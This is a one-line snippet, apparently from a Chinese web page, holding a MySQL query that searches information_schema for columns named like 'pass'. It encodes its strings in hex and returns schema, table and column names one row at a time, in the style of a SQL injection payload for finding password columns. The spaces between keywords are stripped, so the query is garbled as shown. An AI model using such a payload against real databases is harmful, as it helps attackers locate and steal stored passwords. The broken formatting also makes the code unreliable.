代码如下:

selectconcat_ws(0x2f,information_schema.tables.table_schema,`information_schema`.`COLUMNS`.table_name,`information_schema`.`COLUMNS`.column_name)from`information_schema`.`COLUMNS`leftjoininformation_schema.tableson`information_schema`.`COLUMNS`.table_name=information_schema.tables.table_namewhere`information_schema`.`COLUMNS`.column_namelike0x257061737325limit0,1;